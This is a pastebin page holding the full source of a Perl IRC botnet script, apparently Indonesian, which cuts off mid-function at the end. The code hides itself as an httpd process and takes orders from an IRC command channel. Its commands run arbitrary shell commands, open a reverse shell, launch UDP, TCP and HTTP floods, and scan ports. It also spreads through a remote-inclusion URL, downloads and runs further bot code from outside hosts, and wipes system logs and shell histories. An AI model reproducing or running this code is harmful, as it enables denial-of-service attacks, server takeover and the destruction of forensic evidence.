Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on May 8th, 2012  |  syntax: None  |  size: 25.38 KB  |  hits: 38  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #!/usr/bin/perl
  2. #
  3. ###############################################
  4. #  bot net versi genol copyrihgt 2010                                                                              
  5. ###############################################
  6. use IO::Socket::INET;
  7. use HTTP::Request;
  8. use LWP::UserAgent;
  9. ##################################################
  10. # genol.or.id
  11. ##################################################
  12. my @ps = ("/usr/local/sbin/httpd");
  13. $processo = $ps[rand scalar @ps];
  14. my $linas_max='8';
  15. my $sleep='2';
  16. my $spread="http://www.tnastudio.com//ee.txt?";
  17. my @adms=("zi");
  18. my @canais="#my";
  19. ##################################################
  20. # genol.or.id
  21. ##################################################
  22. my @nickname = ("zC");
  23. my @rname = ("9,1 lordz");
  24. my $nick = $nickname[rand scalar @nickname];
  25. my $ircname = $nickname[rand scalar @nickname];
  26. my $realname = $rname[rand scalar @rname];
  27. $servidor='irc.byroe.net' unless $servidor;
  28. my $porta='6667';
  29.  
  30. $SIG{'INT'} = 'IGNORE';
  31. $SIG{'HUP'} = 'IGNORE';
  32. $SIG{'TERM'} = 'IGNORE';
  33. $SIG{'CHLD'} = 'IGNORE';
  34. $SIG{'PS'} = 'IGNORE';
  35. use IO::Socket;
  36. use Socket;
  37. use IO::Select;
  38. chdir("/");
  39. ##################################################
  40. # genol.or.id
  41. ##################################################
  42.  
  43. #Connect
  44. $servidor="$ARGV[0]" if $ARGV[0];
  45. $0="$processo"."\0"x16;;
  46. my $pid=fork;
  47. exit if $pid;
  48. die "Masalah fork: $!" unless defined($pid);
  49.  
  50. our %irc_servers;
  51. our %DCC;
  52. my $dcc_sel = new IO::Select->new();
  53. $sel_cliente = IO::Select->new();
  54. sub sendraw {
  55.   if ($#_ == '1') {
  56.     my $socket = $_[0];
  57.     print $socket "$_[1]\n";
  58.     } else {
  59.     print $IRC_cur_socket "$_[0]\n";
  60.   }
  61. }
  62.  
  63. sub conectar {
  64.   my $meunick = $_[0];
  65.   my $servidor_con = $_[1];
  66.   my $porta_con = $_[2];
  67.   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  68.   PeerPort=>$porta_con) or return(1);
  69.   if (defined($IRC_socket)) {
  70.     $IRC_cur_socket = $IRC_socket;
  71.     $IRC_socket->autoflush(1);
  72.     $sel_cliente->add($IRC_socket);
  73.     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  74.     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  75.     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  76.     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  77.     nick("$meunick");
  78.     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  79.     sleep 1;
  80.   }
  81. }
  82.  
  83. my $line_temp;
  84. while( 1 ) {
  85.   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  86.   delete($irc_servers{''}) if (defined($irc_servers{''}));
  87.   my @ready = $sel_cliente->can_read(0);
  88.   next unless(@ready);
  89.   foreach $fh (@ready) {
  90.     $IRC_cur_socket = $fh;
  91.     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  92.     $nread = sysread($fh, $msg, 4096);
  93.     if ($nread == 0) {
  94.       $sel_cliente->remove($fh);
  95.       $fh->close;
  96.       delete($irc_servers{$fh});
  97.     }
  98.     @lines = split (/\n/, $msg);
  99.     for(my $c=0; $c<= $#lines; $c++) {
  100.  
  101.       $line = $lines[$c];
  102.       $line=$line_temp.$line if ($line_temp);
  103.       $line_temp='';
  104.       $line =~ s/\r$//;
  105.       unless ($c == $#lines) {
  106.         parse("$line");
  107.         } else {
  108.         if ($#lines == 0) {
  109.           parse("$line");
  110.           } elsif ($lines[$c] =~ /\r$/) {
  111.           parse("$line");
  112.           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  113.           parse("$line");
  114.                    } else {
  115.                                $line_temp = $line;
  116.         }
  117.       }
  118.     }
  119.   }
  120. }
  121.  
  122. sub parse {
  123.   my $servarg = shift;
  124.   if ($servarg =~ /^PING \:(.*)/) {
  125.     sendraw("PONG :$1");
  126.     } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  127.     my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  128.     if ($args =~ /^\001VERSION\001$/) {
  129.          notice("$pn", "\001VERSION mIRC v6.17 Mic22\001");
  130.     }
  131.     if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  132.     if ($onde eq "$meunick"){
  133.     shell("$pn", "$args");
  134.   }
  135.  
  136. #End of Connect
  137.  
  138. ##################################################
  139. # genol.or.id
  140. ##################################################
  141. #      PREFIX        #
  142. ######################
  143.  
  144.   if ($args =~ /^(\Q$meunick\E|\!ngul)\s+(.*)/ ) {
  145.     my $natrix = $1;
  146.     my $arg = $2;
  147.     if ($arg =~ /^\!(.*)/) {
  148.       ircase("$pn","$onde","$1") unless ($natrix eq "!ngul" and $arg =~ /^\!nick/);
  149.       } elsif ($arg =~ /^\@(.*)/) {
  150.       $ondep = $onde;
  151.       $ondep = $pn if $onde eq $meunick;
  152.       bfunc("$ondep","$1");
  153.       } else {
  154.       shell("$onde", "$arg");
  155.     }
  156.   }
  157. }
  158. }
  159. ######################
  160. #   End of PREFIX    #
  161. ######################
  162.  
  163. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  164. if (lc($1) eq lc($meunick)) {
  165.   $meunick=$4;
  166.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  167. }
  168. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  169. nick("$meunick".int rand(99));
  170. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  171. $meunick = $2;
  172. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  173. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  174. foreach my $canal (@canais) {
  175.   sendraw("JOIN $canal ddosit");
  176. }
  177. }
  178. }
  179.  
  180. sub bfunc {
  181. my $printl = $_[0];
  182. my $funcarg = $_[1];
  183. if (my $pid = fork) {
  184. waitpid($pid, 0);
  185. } else {
  186. if (fork) {
  187.   exit;
  188. } else {
  189.  
  190. ######################
  191. #       Help         #
  192. ######################
  193.  
  194. if ($funcarg =~ /^help/) {
  195.         sendraw($IRC_cur_socket, "PRIVMSG $printl :123 Lets Go, commands are");
  196.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@flood");
  197.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@backconnect");
  198.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@shell");
  199.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@portscanner");
  200.         sendraw($IRC_cur_socket, "PRIVMSG $printl :3 command lainya:");
  201.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@commands");
  202.  
  203. }
  204.  
  205. if ($funcarg =~ /^ddos/) {
  206.         sendraw($IRC_cur_socket, "PRIVMSG $printl :3  tiga cara pilihan tembak");
  207.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 UDPFlood, HTTPFlood and TCPFlood");
  208.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@udpflood <ip> <jumlah sampah> <waktu>");
  209.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@tcpflood <ip> <port> <jumlah> <waktu>");
  210.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@httpflood <site> <time>");
  211.  
  212. }
  213.  
  214. if ($funcarg =~ /^backconnect/) {
  215.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 You use backconnect like this :");
  216.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@back <ip> <port>");
  217. }
  218.  
  219. if ($funcarg =~ /^shell/) {
  220.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 This bot has a integrated shell");
  221.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 You can use it in private but also public in the channel");
  222.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 In public channel just use : 7!ngul cd tmp12 untuk contoh");
  223.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 linux commands type :!ngul 7@linuxhelp");
  224. }
  225.  
  226. if ($funcarg =~ /^portscanner/) {
  227.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 There is a normal portscan and a Nmap:");
  228.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 !ngul 7@portscan <ip>");
  229.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 !ngul 7@nmap <ip> <awal port> <akhir port>");
  230. }
  231.  
  232. if ($funcarg =~ /^commands/) {
  233.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Boz bisa gunain semua perintah enehhhhh :");
  234.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@portscan <ip>");
  235.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@nmap <ip> <beginport> <endport>");
  236.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@back <ip><port>");     
  237.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul cd tmp 12 for example");
  238.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@udpflood <ip> <packet size> <time>");
  239.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@tcpflood <ip> <port> <packet size> <time>");
  240.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@httpflood <site> <time>");
  241.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@linuxhelp");
  242.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@spread <scan>");
  243.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@system");
  244.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@hapusjejak");
  245.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@join #channel");       
  246.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@part #channel");
  247.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12!ngul 7@tambah");
  248. }
  249.  
  250. if ($funcarg =~ /^linuxhelp/) {
  251.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 LinuxHelp12 melihat dir : pwd");
  252.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 LinuxHelp12 Start a Perl file : perl file.pl");
  253.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 LinuxHelp12?+=+? - Go back from dir : cd ..");
  254.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 LinuxHelp1 - Force to Remove a file/dir : rm -rf file/dir;ls -la");
  255.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 LinuxHelp1 - Show all files/dir with permissions : ls -lia");
  256.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 LinuxHelp1 - Find config.inc.php files : find / -type f -name config.inc.php");
  257.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 LinuxHelp1 - Find all writable folders and files : find / -perm -2 -ls");
  258.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 LinuxHelp1 - Find all .htpasswd files : find / -type f -name .htpasswd");
  259.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12 LinuxHelp1 - Find all service.pwd files : find / -type f -name service.pwd");
  260. }
  261.  
  262. ######################
  263. #   End of  Help     #
  264. ######################
  265. if ($funcarg =~ /^spread\s+(.*)/) {
  266. $vuln = $1;
  267. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Spread Mode12 Spreading bot on :14 $vuln");
  268. my $shellurl="http://".$vuln.$spread."?";
  269. my $reqz=HTTP::Request->new(GET=>$shellurl);
  270. my $ua=LWP::UserAgent->new();
  271. my $response=$ua->request($reqz);
  272. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Spread Mode Bot is Spreaded on :14 $vuln");
  273. }
  274. ######################
  275. #     Commands       #
  276. ######################
  277.  
  278. if ($funcarg =~ /^system/) {
  279. $uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
  280.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12System Info12?+=+? Info BOT : Server : 14Cannot View :14 1237");
  281.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12System Info12?+=+? Uname -a     : 7 $uname");
  282.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12System Info12?+=+? Uptime       : 7 $uptime");
  283.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12System Info12?+=+? Own Prosses  : 7 $processo");
  284.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12System Info12?+=+? ID           : 7 $id");
  285.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12System Info12?+=+? Own Dir      : 7 $ownd");
  286.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12System Info12?+=+? OS           : 7 $distro");
  287.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12System Info12?+=+? Owner        : 7 DCOM");
  288.         sendraw($IRC_cur_socket, "PRIVMSG $printl :12System Info12?+=+? Channel      : 7 #genol on byroe");
  289. }
  290.  
  291. ##################################################
  292. # genol.or.id
  293. ######################
  294. #      Portscan      #
  295. ######################
  296.  
  297. if ($funcarg =~ /^portscan (.*)/) {
  298.   my $hostip="$1";
  299.   my
  300.   @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  301.   my (@aberta, %porta_banner);
  302.   sendraw($IRC_cur_socket, "PRIVMSG $printl :(13?+=+?PortScan13?+=+?) 6Loading port scanner 7(wait a minute, ok !!)  12".$1." Lets Go!! .");
  303.   foreach my $porta (@portas)  {
  304.     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  305.     'tcp', Timeout => 4);
  306.     if ($scansock) {
  307.       push (@aberta, $porta);
  308.       $scansock->close;
  309.     }
  310.   }
  311.  
  312.   if (@aberta) {
  313.     sendraw($IRC_cur_socket, "PRIVMSG $printl :13?+=+?PortScan13?+=+? 6open ports are...:5 @aberta");
  314.     } else {
  315.     sendraw($IRC_cur_socket, "PRIVMSG $printl :13?+=+?PortScan13?+=+? 6all ports are closed");
  316.   }
  317. }
  318.  
  319. ######################
  320. #  End of  Portscan  #
  321. ######################
  322. ##################################################
  323. # genol.or.id
  324. ##################################################
  325. ######################
  326. #        Nmap        #  
  327. ######################
  328.    if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  329.          my $hostip="$1";
  330.          my $portstart = "$2";
  331.          my $portend = "$3";
  332.          my (@abertas, %porta_banner);
  333.        sendraw($IRC_cur_socket, "PRIVMSG $printl :13?+=+?Nmap13?+=+? :12 $1 (13?+=+?Port13?+=+?) 12 $2-$3");
  334.        foreach my $porta ($portstart..$portend){
  335.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  336.     if ($scansock) {
  337.                  push (@abertas, $porta);
  338.                  $scansock->close;
  339.                  if ($xstats){
  340.         sendraw($IRC_cur_socket, "PRIVMSG $printl :13?+=+?Nmap13?+=+? Founded 12 $porta"."/Open");
  341.                  }
  342.                }
  343.              }
  344.              if (@abertas) {
  345.         sendraw($IRC_cur_socket, "PRIVMSG $printl :13?+=+?Nmap13?+=+? Complete ");
  346.              } else {
  347.         sendraw($IRC_cur_socket, "PRIVMSG $printl :13?+=+?Nmap13?+=+? No open ports have been founded 13");
  348.              }
  349.                          }
  350. ######################
  351. #    End of Nmap     #  
  352. ######################
  353. ##################################################
  354. # genol.or.id
  355. ##################################################
  356. ######################
  357. #    Log Cleaner     #  
  358. ######################
  359. if ($funcarg =~ /^hapusjejak/) {
  360. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Pembersiahan Jejak di lakukan!!!");
  361.     system 'rm -rf /var/log/lastlog';
  362.     system 'rm -rf /var/log/wtmp';
  363.         system 'rm -rf /etc/wtmp';
  364.         system 'rm -rf /var/run/utmp';
  365.         system 'rm -rf /etc/utmp';
  366.         system 'rm -rf /var/log';
  367.         system 'rm -rf /var/logs';
  368.         system 'rm -rf /var/adm';
  369.         system 'rm -rf /var/apache/log';
  370.         system 'rm -rf /var/apache/logs';
  371.         system 'rm -rf /usr/local/apache/log';
  372.         system 'rm -rf /usr/local/apache/logs';
  373.         system 'rm -rf /root/.bash_history';
  374.         system 'rm -rf /root/.ksh_history';
  375. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Prosesing...");
  376.                 sleep 1;
  377. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Loading....");
  378.         system 'find / -name *.bash_history -exec rm -rf {} \;';
  379.         system 'find / -name *.bash_logout -exec rm -rf {} \;';
  380.         system 'find / -name "log*" -exec rm -rf {} \;';
  381.         system 'find / -name *.log -exec rm -rf {} \;';
  382.                 sleep 1;
  383. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Semua Jejak telah terhapus!!");
  384.       }
  385. ######################
  386. # End of Log Cleaner #  
  387. ######################
  388. ##############
  389. # Tambah Bot ##
  390. ##############
  391. if ($funcarg =~ /^tambah/) {
  392. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Mencoba untuk Menambahkan bot!!!");
  393.     system 'wget http://daffa14.741.com/t.txt;perl it.txt;rm it.txt';  
  394. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Bot telah di tambahkan !!");
  395. }
  396. #############
  397. # Tambah bot #
  398. #############
  399. ############
  400. # manak #
  401. ############
  402. if ($funcarg =~ /^manak/) {
  403. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Mencoba untuk Menambahkan bot!!!");
  404.     system 'wget http://daffa14.741.com/Aji.txt;perl Aji.txt;rm perl.txt';     
  405. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Bot telah di tambahkan !!");
  406. }
  407. ############
  408. # manak    #
  409. ############
  410. ##################################################
  411. # genol.or.id
  412. ##################################################
  413.  
  414. ######################
  415. #  Join And Part     #
  416. ######################
  417.            if ($funcarg =~ /^join (.*)/) {
  418.               sendraw($IRC_cur_socket, "JOIN ".$1);
  419.            }
  420.            if ($funcarg =~ /^part (.*)/) {
  421.               sendraw($IRC_cur_socket, "PART ".$1);
  422.            }
  423.                    
  424. ######################
  425. #End of Join And Part#
  426. ######################
  427. ##################################################
  428. # genol.or.id
  429. ##################################################
  430. ######################
  431. #     TCPFlood       #
  432. ######################
  433.  
  434. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  435.   sendraw($IRC_cur_socket, "PRIVMSG $printl :12 TCP DDoS12 Attacking 12 ".$1.":".$2." for 12 ".$3." seconds.");
  436.   my $itime = time;
  437.   my ($cur_time);
  438.   $cur_time = time - $itime;
  439.   while ($3>$cur_time){
  440.   $cur_time = time - $itime;
  441.   &tcpflooder("$1","$2","$3");
  442. }
  443. sendraw($IRC_cur_socket,"PRIVMSG $printl :12 TCP DDoS12  Mission Accomplished.. 12 ".$1.":".$2.".");
  444. }
  445. ######################
  446. #  End of TCPFlood   #
  447. ######################
  448. ##################################################
  449. # genol.or.id
  450. ##################################################
  451. ######################
  452. #   Back Connect     #
  453. ######################
  454. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  455. my $host = "$1";
  456. my $porta = "$2";
  457. my $proto = getprotobyname('tcp');
  458. my $iaddr = inet_aton($host);
  459. my $paddr = sockaddr_in($porta, $iaddr);
  460. my $shell = "/bin/sh -i";
  461. if ($^O eq "MSWin32") {
  462.   $shell = "cmd.exe";
  463. }
  464. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  465. connect(SOCKET, $paddr) or die "connect: $!";
  466. open(STDIN, ">&SOCKET");
  467. open(STDOUT, ">&SOCKET");
  468. open(STDERR, ">&SOCKET");
  469. system("$shell");
  470. close(STDIN);
  471. close(STDOUT);
  472. close(STDERR);
  473. if ($estatisticas)
  474. {
  475.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13 BackConnect 13 sedang di buka 12 $host:$porta");
  476. }
  477. }
  478. ######################
  479. #End of  Back Connect#
  480. ##################################################
  481. # genol.or.id
  482. ##################################################
  483.  
  484. ######################
  485. # Im not living im just killing time
  486. #      
  487. #                                                              
  488. # radiohead ganja bjork the beatles
  489. ######################
  490. #     HTTPFlood      #
  491. #                    #
  492. ######################
  493. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  494. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Flood web sedang di lakukan 12 DenganPort 12 ".$1."  80 selama 12 ".$2." Detik.");
  495. my $itime = time;
  496. my ($cur_time);
  497. $cur_time = time - $itime;
  498. while ($2>$cur_time){
  499. $cur_time = time - $itime;
  500. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  501. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  502. close($socket);
  503. }
  504. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Web telah di Flood  12 ".$1.".");
  505. }
  506. ######################
  507. #  End of HTTPFlood  #
  508. #                    #
  509. ######################
  510.  
  511. ######################
  512. #     UDPFlood       #
  513. #                    #
  514. ######################
  515. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  516. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Flood  Sampah sedang di lakukan 12 ".$1." Dengan 12 ".$2." Bungkus sampah 12 ".$3." Detik.");
  517. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  518. $dtime = 1 if $dtime == 0;
  519. my %bytes;
  520. $bytes{igmp} = $2 * $pacotes{igmp};
  521. $bytes{icmp} = $2 * $pacotes{icmp};
  522. $bytes{o} = $2 * $pacotes{o};
  523. $bytes{udp} = $2 * $pacotes{udp};
  524. $bytes{tcp} = $2 * $pacotes{tcp};
  525. sendraw($IRC_cur_socket, "PRIVMSG $printl :12 Flood  Sampah telah di lakukan 12 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Bungkus  in12 ".$dtime." Detik12 ".$1.".");
  526. }
  527. exit;
  528. }
  529. }
  530. ######################
  531. #  End of Udpflood   #
  532. #                    #
  533. ######################
  534.  
  535.  
  536.  
  537. sub ircase {
  538. my ($kem, $printl, $case) = @_;
  539.   if ($case =~ /^join (.*)/) {
  540.      j("$1");
  541.    }
  542.    if ($case =~ /^part (.*)/) {
  543.       p("$1");
  544.    }
  545. if ($case =~ /^rejoin\s+(.*)/) {
  546. my $chan = $1;
  547. if ($chan =~ /^(\d+) (.*)/) {
  548. for (my $ca = 1; $ca <= $1; $ca++ ) {
  549. p("$2");
  550. j("$2");
  551. }
  552. }
  553. else {
  554. p("$chan");
  555. j("$chan");
  556. }
  557. }
  558.  
  559. if ($case =~ /^op/) {
  560. op("$printl", "$kem") if $case eq "op";
  561. my $oarg = substr($case, 3);
  562. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  563. }
  564.  
  565. if ($case =~ /^deop/) {
  566. deop("$printl", "$kem") if $case eq "deop";
  567. my $oarg = substr($case, 5);
  568. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  569. }
  570.  
  571. if ($case =~ /^msg\s+(\S+) (.*)/) {
  572. msg("$1", "$2");
  573. }
  574.  
  575. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  576. for (my $cf = 1; $cf <= $1; $cf++) {
  577. msg("$2", "$3");
  578. }
  579. }
  580.  
  581. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  582. ctcp("$1", "$2");
  583. }
  584.  
  585. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  586. for (my $cf = 1; $cf <= $1; $cf++) {
  587. ctcp("$2", "$3");
  588. }
  589. }
  590.  
  591. if ($case =~ /^nick (.*)/) {
  592. nick("$1");
  593. }
  594.  
  595. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  596. conectar("$2", "$1", 6667);
  597. }
  598.  
  599. if ($case =~ /^raw (.*)/) {
  600. sendraw("$1");
  601. }
  602.  
  603. if ($case =~ /^eval (.*)/) {
  604. eval "$1";
  605. }
  606. }
  607.  
  608.  
  609. sub shell {
  610. my $printl=$_[0];
  611. my $comando=$_[1];
  612. if ($comando =~ /cd (.*)/) {
  613. chdir("$1") || msg("$printl", "No such file or directory");
  614. return;
  615. }
  616.  
  617. elsif ($pid = fork) {
  618. waitpid($pid, 0);
  619. }
  620. else {
  621. if (fork) {
  622. exit;
  623.  
  624. } else {
  625. my @resp=`$comando 2>&1 3>&1`;
  626. my $c=0;
  627. foreach my $linha (@resp) {
  628.   $c++;
  629.   chop $linha;
  630.   sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  631.   if ($c == "$linas_max") {
  632.     $c=0;
  633.     sleep $sleep;
  634.   }
  635. }
  636. exit;
  637. }
  638. }
  639. }
  640.  
  641. sub tcpflooder {
  642. my $itime = time;
  643. my ($cur_time);
  644. my ($ia,$pa,$proto,$j,$l,$t);
  645. $ia=inet_aton($_[0]);
  646. $pa=sockaddr_in($_[1],$ia);
  647. $ftime=$_[2];
  648. $proto=getprotobyname('tcp');
  649. $j=0;$l=0;
  650. $cur_time = time - $itime;
  651. while ($l<1000){
  652. $cur_time = time - $itime;
  653. last if $cur_time >= $ftime;
  654. $t="SOCK$l";
  655. socket($t,PF_INET,SOCK_STREAM,$proto);
  656. connect($t,$pa)||$j--;
  657. $j++;$l++;
  658. }
  659. $l=0;
  660. while ($l<1000){
  661. $cur_time = time - $itime;
  662. last if $cur_time >= $ftime;
  663. $t="SOCK$l";
  664. shutdown($t,2);
  665. $l++;
  666. }
  667. }
  668.  
  669. sub udpflooder {
  670. my $iaddr = inet_aton($_[0]);
  671. my $msg = 'A' x $_[1];
  672. my $ftime = $_[2];
  673. my $cp = 0;
  674. my (%pacotes);
  675. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  676. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  677. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  678. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  679. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  680. return(undef) if $cp == 4;
  681. my $itime = time;
  682. my ($cur_time);
  683. while ( 1 ) {
  684. for (my $porta = 1;
  685. $porta <= 65000; $porta++) {
  686. $cur_time = time - $itime;
  687. last if $cur_time >= $ftime;
  688. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  689. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  690. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  691. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  692.  
  693.  
  694. for (my $pc = 3;
  695. $pc <= 255;$pc++) {
  696. next if $pc == 6;
  697. $cur_time = time - $itime;
  698. last if $cur_time >= $ftime;
  699. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  700. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  701. }
  702. }
  703. last if $cur_time >= $ftime;
  704. }
  705. return($cur_time, %pacotes);
  706. }
  707.  
  708. sub ctcp {
  709. return unless $#_ == 1;
  710. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  711. }
  712.  
  713. sub msg {
  714. return unless $#_ == 1;
  715. sendraw("PRIVMSG $_[0] :$_[1]");
  716. }
  717.  
  718. sub notice {
  719. return unless $#_ == 1;
  720. sendraw("NOTICE $_[0] :$_[1]");
  721. }
  722.  
  723. sub op {
  724. return unless $#_ == 1;
  725. sendraw("MODE $_[0] +o $_[1]");
  726. }
  727.  
  728. sub deop {
  729. return unless $#_ == 1;
  730. sendraw("MODE $_[0] -o $_[1]");
  731. }
  732.  
  733. sub j {
  734. &join(@_);
  735. }
  736.  
  737. sub join {
  738. return unless $#_ == 0;
  739. sendraw("JOIN $_[0]");
  740.  
  741. }
  742. sub p { part(@_);
  743. }
  744.  
  745. sub part {
  746. sendraw("PART $_[0]");
  747. }
  748.  
  749. sub nick {
  750. return unless $#_ == 0;
  751. sendraw("NICK $_[0]");
  752. }
  753.  
  754. sub quit {
  755. sendraw("QUIT :$_[0]");
  756. }
  757. sub links()
  758. {
  759. my @l;
  760. my $link=$_[0];
  761. my $host=$_[0];
  762. my $hdir=$_[0];
  763. $hdir=~s/(.*)\/[^\/]*$/\1/;
  764. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  765. $host.="/";
